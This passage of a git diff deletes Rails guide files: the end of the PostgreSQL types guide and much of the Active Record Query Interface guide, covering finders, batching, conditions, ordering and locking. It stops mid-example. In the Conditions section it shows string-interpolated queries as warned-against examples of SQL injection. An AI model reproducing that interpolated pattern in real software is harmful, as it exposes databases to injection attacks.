Usage -Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12)) - -event = Event.first -event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014 - -## All Events on a given date -Event.where("duration @> ?::date", Date.new(2014, 2, 12)) - -## Working with range bounds -event = Event. - select("lower(duration) AS starts_at"). - select("upper(duration) AS ends_at").first - -event.starts_at # => Tue, 11 Feb 2014 -event.ends_at # => Thu, 13 Feb 2014 -``` - -### Composite Types - -* [type definition](http://www.postgresql.org/docs/current/static/rowtypes.html) - -Currently there is no special support for composite types. They are mapped to -normal text columns: - -```sql -CREATE TYPE full_address AS -( - city VARCHAR(90), - street VARCHAR(90) -); -``` - -```ruby -# db/migrate/20140207133952_create_contacts.rb -execute <<-SQL - CREATE TYPE full_address AS - ( - city VARCHAR(90), - street VARCHAR(90) - ); -SQL -create_table :contacts do |t| - t.column :address, :full_address -end - -# app/models/contact.rb -class Contact < ApplicationRecord -end - -# Usage -Contact.create address: "(Paris,Champs-Élysées)" -contact = Contact.first -contact.address # => "(Paris,Champs-Élysées)" -contact.address = "(Paris,Rue Basse)" -contact.save! -``` - -### Enumerated Types - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-enum.html) - -Currently there is no special support for enumerated types. They are mapped as -normal text columns: - -```ruby -# db/migrate/20131220144913_create_articles.rb -def up - execute <<-SQL - CREATE TYPE article_status AS ENUM ('draft', 'published'); - SQL - create_table :articles do |t| - t.column :status, :article_status - end -end - -# NOTE: It's important to drop table before dropping enum. -def down - drop_table :articles - - execute <<-SQL - DROP TYPE article_status; - SQL -end - -# app/models/article.rb -class Article < ApplicationRecord -end - -# Usage -Article.create status: "draft" -article = Article.first -article.status # => "draft" - -article.status = "published" -article.save! -``` - -To add a new value before/after existing one you should use [ALTER TYPE](http://www.postgresql.org/docs/current/static/sql-altertype.html): - -```ruby -# db/migrate/20150720144913_add_new_state_to_articles.rb -# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction! -disable_ddl_transaction! - -def up - execute <<-SQL - ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published'; - SQL -end -``` - -NOTE: ENUM values can't be dropped currently. You can read why [here](http://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com). - -Hint: to show all the values of the all enums you have, you should call this query in `bin/rails db` or `psql` console: - -```sql -SELECT n.nspname AS enum_schema, - t.typname AS enum_name, - e.enumlabel AS enum_value - FROM pg_type t - JOIN pg_enum e ON t.oid = e.enumtypid - JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace -``` - -### UUID - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-uuid.html) -* [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361) -* [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html) - -NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` -extension to use uuid. - -```ruby -# db/migrate/20131220144913_create_revisions.rb -create_table :revisions do |t| - t.uuid :identifier -end - -# app/models/revision.rb -class Revision < ApplicationRecord -end - -# Usage -Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11" - -revision = Revision.first -revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" -``` - -You can use `uuid` type to define references in migrations: - -```ruby -# db/migrate/20150418012400_create_blog.rb -enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') -create_table :posts, id: :uuid, default: 'gen_random_uuid()' - -create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t| - # t.belongs_to :post, type: :uuid - t.references :post, type: :uuid -end - -# app/models/post.rb -class Post < ApplicationRecord - has_many :comments -end - -# app/models/comment.rb -class Comment < ApplicationRecord - belongs_to :post -end -``` - -See [this section](#uuid-primary-keys) for more details on using UUIDs as primary key. - -### Bit String Types - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-bit.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/functions-bitstring.html) - -```ruby -# db/migrate/20131220144913_create_users.rb -create_table :users, force: true do |t| - t.column :settings, "bit(8)" -end - -# app/models/device.rb -class User < ApplicationRecord -end - -# Usage -User.create settings: "01010011" -user = User.first -user.settings # => "01010011" -user.settings = "0xAF" -user.settings # => 10101111 -user.save! -``` - -### Network Address Types - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-net-types.html) - -The types `inet` and `cidr` are mapped to Ruby -[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html) -objects. The `macaddr` type is mapped to normal text. - -```ruby -# db/migrate/20140508144913_create_devices.rb -create_table(:devices, force: true) do |t| - t.inet 'ip' - t.cidr 'network' - t.macaddr 'address' -end - -# app/models/device.rb -class Device < ApplicationRecord -end - -# Usage -macbook = Device.create(ip: "192.168.1.12", - network: "192.168.2.0/24", - address: "32:01:16:6d:05:ef") - -macbook.ip -# => # - -macbook.network -# => # - -macbook.address -# => "32:01:16:6d:05:ef" -``` - -### Geometric Types - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-geometric.html) - -All geometric types, with the exception of `points` are mapped to normal text. -A point is casted to an array containing `x` and `y` coordinates. - - -UUID Primary Keys ------------------ - -NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` -extension to generate random UUIDs. - -```ruby -# db/migrate/20131220144913_create_devices.rb -enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') -create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t| - t.string :kind -end - -# app/models/device.rb -class Device < ApplicationRecord -end - -# Usage -device = Device.create -device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e" -``` - -NOTE: `gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option was -passed to `create_table`. - -Full Text Search ----------------- - -```ruby -# db/migrate/20131220144913_create_documents.rb -create_table :documents do |t| - t.string 'title' - t.string 'body' -end - -add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx' - -# app/models/document.rb -class Document < ApplicationRecord -end - -# Usage -Document.create(title: "Cats and Dogs", body: "are nice!") - -## all documents matching 'cat & dog' -Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", - "cat & dog") -``` - -Database Views --------------- - -* [view creation](http://www.postgresql.org/docs/current/static/sql-createview.html) - -Imagine you need to work with a legacy database containing the following table: - -``` -rails_pg_guide=# \d "TBL_ART" - Table "public.TBL_ART" - Column | Type | Modifiers -------------+-----------------------------+------------------------------------------------------------ - INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass) - STR_TITLE | character varying | - STR_STAT | character varying | default 'draft'::character varying - DT_PUBL_AT | timestamp without time zone | - BL_ARCH | boolean | default false -Indexes: - "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID") -``` - -This table does not follow the Rails conventions at all. -Because simple PostgreSQL views are updateable by default, -we can wrap it as follows: - -```ruby -# db/migrate/20131220144913_create_articles_view.rb -execute <<-SQL -CREATE VIEW articles AS - SELECT "INT_ID" AS id, - "STR_TITLE" AS title, - "STR_STAT" AS status, - "DT_PUBL_AT" AS published_at, - "BL_ARCH" AS archived - FROM "TBL_ART" - WHERE "BL_ARCH" = 'f' - SQL - -# app/models/article.rb -class Article < ApplicationRecord - self.primary_key = "id" - def archive! - update_attribute :archived, true - end -end - -# Usage -first = Article.create! title: "Winter is coming", - status: "published", - published_at: 1.year.ago -second = Article.create! title: "Brace yourself", - status: "draft", - published_at: 1.month.ago - -Article.count # => 2 -first.archive! -Article.count # => 1 -``` - -NOTE: This application only cares about non-archived `Articles`. A view also -allows for conditions so we can exclude the archived `Articles` directly. diff --git a/source/active_record_querying.md b/source/active_record_querying.md deleted file mode 100644 index 2902c5d..0000000 --- a/source/active_record_querying.md +++ /dev/null @@ -1,2025 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Query Interface -============================= - -This guide covers different ways to retrieve data from the database using Active Record. - -After reading this guide, you will know: - -* How to find records using a variety of methods and conditions. -* How to specify the order, retrieved attributes, grouping, and other properties of the found records. -* How to use eager loading to reduce the number of database queries needed for data retrieval. -* How to use dynamic finder methods. -* How to use method chaining to use multiple Active Record methods together. -* How to check for the existence of particular records. -* How to perform various calculations on Active Record models. -* How to run EXPLAIN on relations. - --------------------------------------------------------------------------------- - -If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. - -Code examples throughout this guide will refer to one or more of the following models: - -TIP: All of the following models use `id` as the primary key, unless specified otherwise. - -```ruby -class Client < ApplicationRecord - has_one :address - has_many :orders - has_and_belongs_to_many :roles -end -``` - -```ruby -class Address < ApplicationRecord - belongs_to :client -end -``` - -```ruby -class Order < ApplicationRecord - belongs_to :client, counter_cache: true -end -``` - -```ruby -class Role < ApplicationRecord - has_and_belongs_to_many :clients -end -``` - -Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same. - -Retrieving Objects from the Database ------------------------------------- - -To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL. - -The methods are: - -* `find` -* `create_with` -* `distinct` -* `eager_load` -* `extending` -* `from` -* `group` -* `having` -* `includes` -* `joins` -* `left_outer_joins` -* `limit` -* `lock` -* `none` -* `offset` -* `order` -* `preload` -* `readonly` -* `references` -* `reorder` -* `reverse_order` -* `select` -* `where` - -Finder methods that return a collection, such as `where` and `group`, return an instance of `ActiveRecord::Relation`. Methods that find a single entity, such as `find` and `first`, return a single instance of the model. - -The primary operation of `Model.find(options)` can be summarized as: - -* Convert the supplied options to an equivalent SQL query. -* Fire the SQL query and retrieve the corresponding results from the database. -* Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run `after_find` and then `after_initialize` callbacks, if any. - -### Retrieving a Single Object - -Active Record provides several different ways of retrieving a single object. - -#### `find` - -Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: - -```ruby -# Find the client with primary key (id) 10. -client = Client.find(10) -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 -``` - -The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found. - -You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example: - -```ruby -# Find the clients with primary keys 1 and 10. -client = Client.find([1, 10]) # Or even Client.find(1, 10) -# => [#, #] -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients WHERE (clients.id IN (1,10)) -``` - -WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys. - -#### `take` - -The `take` method retrieves a record without any implicit ordering. For example: - -```ruby -client = Client.take -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients LIMIT 1 -``` - -The `take` method returns `nil` if no record is found and no exception will be raised. - -You can pass in a numerical argument to the `take` method to return up to that number of results. For example - -```ruby -client = Client.take(2) -# => [ -# #, -# # -# ] -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients LIMIT 2 -``` - -The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. - -TIP: The retrieved record may vary depending on the database engine. - -#### `first` - -The `first` method finds the first record ordered by primary key (default). For example: - -```ruby -client = Client.first -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 -``` - -The `first` method returns `nil` if no matching record is found and no exception will be raised. - -If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `first` will return the first record according to this ordering. - -You can pass in a numerical argument to the `first` method to return up to that number of results. For example - -```ruby -client = Client.first(3) -# => [ -# #, -# #, -# # -# ] -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3 -``` - -On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`. - -```ruby -client = Client.order(:first_name).first -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1 -``` - -The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. - -#### `last` - -The `last` method finds the last record ordered by primary key (default). For example: - -```ruby -client = Client.last -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 -``` - -The `last` method returns `nil` if no matching record is found and no exception will be raised. - -If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `last` will return the last record according to this ordering. - -You can pass in a numerical argument to the `last` method to return up to that number of results. For example - -```ruby -client = Client.last(3) -# => [ -# #, -# #, -# # -# ] -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3 -``` - -On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`. - -```ruby -client = Client.order(:first_name).last -# => # -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1 -``` - -The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. - -#### `find_by` - -The `find_by` method finds the first record matching some conditions. For example: - -```ruby -Client.find_by first_name: 'Lifo' -# => # - -Client.find_by first_name: 'Jon' -# => nil -``` - -It is equivalent to writing: - -```ruby -Client.where(first_name: 'Lifo').take -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1 -``` - -The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example: - -```ruby -Client.find_by! first_name: 'does not exist' -# => ActiveRecord::RecordNotFound -``` - -This is equivalent to writing: - -```ruby -Client.where(first_name: 'does not exist').take! -``` - -### Retrieving Multiple Objects in Batches - -We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. - -This may appear straightforward: - -```ruby -# This may consume too much memory if the table is big. -User.all.each do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. - -Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. - -TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. - -#### `find_each` - -The `find_each` method retrieves records in batches and then yields _each_ one to the block. In the following example, `find_each` retrieves users in batches of 1000 and yields them to the block one by one: - -```ruby -User.find_each do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -This process is repeated, fetching more batches as needed, until all of the records have been processed. - -`find_each` works on model classes, as seen above, and also on relations: - -```ruby -User.where(weekly_subscriber: true).find_each do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -as long as they have no ordering, since the method needs to force an order -internally to iterate. - -If an order is present in the receiver the behaviour depends on the flag -`config.active_record.error_on_ignored_order`. If true, `ArgumentError` is -raised, otherwise the order is ignored and a warning issued, which is the -default. This can be overridden with the option `:error_on_ignore`, explained -below. - -##### Options for `find_each` - -**`:batch_size`** - -The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: - -```ruby -User.find_each(batch_size: 5000) do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -**`:start`** - -By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. - -For example, to send newsletters only to users with the primary key starting from 2000: - -```ruby -User.find_each(start: 2000) do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -**`:finish`** - -Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. -This would be useful, for example, if you wanted to run a batch process using a subset of records based on `:start` and `:finish`. - -For example, to send newsletters only to users with the primary key starting from 2000 up to 10000: - -```ruby -User.find_each(start: 2000, finish: 10000) do |user| - NewsMailer.weekly(user).deliver_now -end -``` - -Another example would be if you wanted multiple workers handling the same -processing queue. You could have each worker handle 10000 records by setting the -appropriate `:start` and `:finish` options on each worker. - -**`:error_on_ignore`** - -Overrides the application config to specify if an error should be raised when an -order is present in the relation. - -#### `find_in_batches` - -The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: - -```ruby -# Give add_invoices an array of 1000 invoices at a time. -Invoice.find_in_batches do |invoices| - export.add_invoices(invoices) -end -``` - -`find_in_batches` works on model classes, as seen above, and also on relations: - -```ruby -Invoice.pending.find_in_batches do |invoice| - pending_invoices_export.add_invoices(invoices) -end -``` - -as long as they have no ordering, since the method needs to force an order -internally to iterate. - -##### Options for `find_in_batches` - -The `find_in_batches` method accepts the same options as `find_each`. - -Conditions ----------- - -The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash. - -### Pure String Conditions - -If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2. - -WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array. - -### Array Conditions - -Now what if that number could vary, say as an argument from somewhere? The find would then take the form: - -```ruby -Client.where("orders_count = ?", params[:orders]) -``` - -Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks `(?)` in it. - -If you want to specify multiple conditions: - -```ruby -Client.where("orders_count = ? AND locked = ?", params[:orders], false) -``` - -In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter. - -This code is highly preferable: - -```ruby -Client.where("orders_count = ?", params[:orders]) -``` - -to this code: - -```ruby -Client.where("orders_count = #{params[:orders]}") -``` - -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. - -TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). - -#### Placeholder Conditions - -Similar to the `(?)` replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash: - -```ruby -Client.where("created_at >= :start_date AND created_at <= :end_date", - {start_date: params[:start_date], end_date: params[:end_date]}) -``` - -This makes for clearer readability if you have a large number of variable conditions. - -### Hash Conditions - -Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them: - -NOTE: Only equality, range and subset checking are possible with Hash conditions. - -#### Equality Conditions - -```ruby -Client.where(locked: true) -``` - -This will generate SQL like this: - -```sql -SELECT * FROM clients WHERE (clients.locked = 1) -``` - -The field name can also be a string: - -```ruby -Client.where('locked' => true) -``` - -In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well. - -```ruby -Article.where(author: author) -Author.joins(:articles).where(articles: { author: author }) -``` - -NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`. - -#### Range Conditions - -```ruby -Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight) -``` - -This will find all clients created yesterday by using a `BETWEEN` SQL statement: - -```sql -SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') -``` - -This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions) - -#### Subset Conditions - -If you want to find records using the `IN` expression you can pass an array to the conditions hash: - -```ruby -Client.where(orders_count: [1,3,5]) -``` - -This code will generate SQL like this: - -```sql -SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) -``` - -### NOT Conditions - -`NOT` SQL queries can be built by `where.not`: - -```ruby -Client.where.not(locked: true) -``` - -In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. This will generate SQL like this: - -```sql -SELECT * FROM clients WHERE (clients.locked != 1) -``` - -Ordering --------- - -To retrieve records from the database in a specific order, you can use the `order` method. - -For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: - -```ruby -Client.order(:created_at) -# OR -Client.order("created_at") -``` - -You could specify `ASC` or `DESC` as well: - -```ruby -Client.order(created_at: :desc) -# OR -Client.order(created_at: :asc) -# OR -Client.order("created_at DESC") -# OR -Client.order("created_at ASC") -``` - -Or ordering by multiple fields: - -```ruby -Client.order(orders_count: :asc, created_at: :desc) -# OR -Client.order(:orders_count, created_at: :desc) -# OR -Client.order("orders_count ASC, created_at DESC") -# OR -Client.order("orders_count ASC", "created_at DESC") -``` - -If you want to call `order` multiple times, subsequent orders will be appended to the first: - -```ruby -Client.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC -``` -WARNING: If you are using **MySQL 5.7.5** and above, then on selecting fields from a result set using methods like `select`, `pluck` and `ids`; the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in `order` clause are included in the select list. See the next section for selecting fields from the result set. - -Selecting Specific Fields -------------------------- - -By default, `Model.find` selects all the fields from the result set using `select *`. - -To select only a subset of fields from the result set, you can specify the subset via the `select` method. - -For example, to select only `viewable_by` and `locked` columns: - -```ruby -Client.select("viewable_by, locked") -``` - -The SQL query used by this find call will be somewhat like: - -```sql -SELECT viewable_by, locked FROM clients -``` - -Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: - -```bash -ActiveModel::MissingAttributeError: missing attribute: -``` - -Where `` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly. - -If you would like to only grab a single record per unique value in a certain field, you can use `distinct`: - -```ruby -Client.select(:name).distinct -``` - -This would generate SQL like: - -```sql -SELECT DISTINCT name FROM clients -``` - -You can also remove the uniqueness constraint: - -```ruby -query = Client.select(:name).distinct -# => Returns unique names - -query.distinct(false) -# => Returns all names, even if there are duplicates -``` - -Limit and Offset ----------------- - -To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation. - -You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example - -```ruby -Client.limit(5) -``` - -will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this: - -```sql -SELECT * FROM clients LIMIT 5 -``` - -Adding `offset` to that - -```ruby -Client.limit(5).offset(30) -``` - -will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like: - -```sql -SELECT * FROM clients LIMIT 5 OFFSET 30 -``` - -Group ------ - -To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the `group` method. - -For example, if you want to find a collection of the dates on which orders were created: - -```ruby -Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") -``` - -And this will give you a single `Order` object for each date where there are orders in the database. - -The SQL that would be executed would be something like this: - -```sql -SELECT date(created_at) as ordered_date, sum(price) as total_price -FROM orders -GROUP BY date(created_at) -``` - -### Total of grouped items - -To get the total of grouped items on a single query, call `count` after the `group`. - -```ruby -Order.group(:status).count -# => { 'awaiting_approval' => 7, 'paid' => 12 } -``` - -The SQL that would be executed would be something like this: - -```sql -SELECT COUNT (*) AS count_all, status AS status -FROM "orders" -GROUP BY status -``` - -Having ------- - -SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `having` method to the find. - -For example: - -```ruby -Order.select("date(created_at) as ordered_date, sum(price) as total_price"). - group("date(created_at)").having("sum(price) > ?", 100) -``` - -The SQL that would be executed would be something like this: - -```sql -SELECT date(created_at) as ordered_date, sum(price) as total_price -FROM orders -GROUP BY date(created_at) -HAVING sum(price) > 100 -``` - -This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100. - -Overriding Conditions ---------------------- - -### `unscope` - -You can specify certain conditions to be removed using the `unscope` method. For example: - -```ruby -Article.where('id > 10').limit(20).order('id asc').unscope(:order) -``` - -The SQL that would be executed: - -```sql -SELECT * FROM articles WHERE id > 10 LIMIT 20 - -# Original query without `unscope` -SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20 - -``` - -You can also unscope specific `where` clauses. For example: - -```ruby -Article.where(id: 10, trashed: false).unscope(where: :id) -# SELECT "articles".* FROM "articles" WHERE trashed = 0 -``` - -A relation which has used `unscope` will affect any relation into which it is merged: - -```ruby -Article.order('id asc').merge(Article.unscope(:order)) -# SELECT "articles".* FROM "articles" -``` - -### `only` - -You can also override conditions using the `only` method. For example: - -```ruby -Article.where('id > 10').limit(20).order('id desc').only(:order, :where) -``` - -The SQL that would be executed: - -```sql -SELECT * FROM articles WHERE id > 10 ORDER BY id DESC - -# Original query without `only` -SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20 - -``` - -### `reorder` - -The `reorder` method overrides the default scope order. For example: - -```ruby -class Article < ApplicationRecord - has_many :comments, -> { order('posted_at DESC') } -end - -Article.find(10).comments.reorder('name') -``` - -The SQL that would be executed: - -```sql -SELECT * FROM articles WHERE id = 10 -SELECT * FROM comments WHERE article_id = 10 ORDER BY name -``` - -In the case where the `reorder` clause is not used, the SQL executed would be: - -```sql -SELECT * FROM articles WHERE id = 10 -SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC -``` - -### `reverse_order` - -The `reverse_order` method reverses the ordering clause if specified. - -```ruby -Client.where("orders_count > 10").order(:name).reverse_order -``` - -The SQL that would be executed: - -```sql -SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC -``` - -If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order. - -```ruby -Client.where("orders_count > 10").reverse_order -``` - -The SQL that would be executed: - -```sql -SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC -``` - -This method accepts **no** arguments. - -### `rewhere` - -The `rewhere` method overrides an existing, named where condition. For example: - -```ruby -Article.where(trashed: true).rewhere(trashed: false) -``` - -The SQL that would be executed: - -```sql -SELECT * FROM articles WHERE `trashed` = 0 -``` - -In case the `rewhere` clause is not used, - -```ruby -Article.where(trashed: true).where(trashed: false) -``` - -the SQL executed would be: - -```sql -SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0 -``` - -Null Relation -------------- - -The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. - -```ruby -Article.none # returns an empty Relation and fires no queries. -``` - -```ruby -# The visible_articles method below is expected to return a Relation. -@articles = current_user.visible_articles.where(name: params[:name]) - -def visible_articles - case role - when 'Country Manager' - Article.where(country: country) - when 'Reviewer' - Article.published - when 'Bad User' - Article.none # => returning [] or nil breaks the caller code in this case - end -end -``` - -Readonly Objects ----------------- - -Active Record provides the `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception. - -```ruby -client = Client.readonly.first -client.visits += 1 -client.save -``` - -As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_. - -Locking Records for Update --------------------------- - -Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates. - -Active Record provides two locking mechanisms: - -* Optimistic Locking -* Pessimistic Locking - -### Optimistic Locking - -Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored. - -**Optimistic locking column** - -In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example: - -```ruby -c1 = Client.find(1) -c2 = Client.find(1) - -c1.first_name = "Michael" -c1.save - -c2.name = "should fail" -c2.save # Raises an ActiveRecord::StaleObjectError -``` - -You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. - -This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`. - -To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`: - -```ruby -class Client < ApplicationRecord - self.locking_column = :lock_client_column -end -``` - -### Pessimistic Locking - -Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions. - -For example: - -```ruby -Item.transaction do - i = Item.lock.first - i.name = 'Jones' - i.save! -end -``` - -The above session produces the following SQL for a MySQL backend: - -```sql -SQL (0.2ms) BEGIN -Item Load (0.3ms) SELECT * FROM 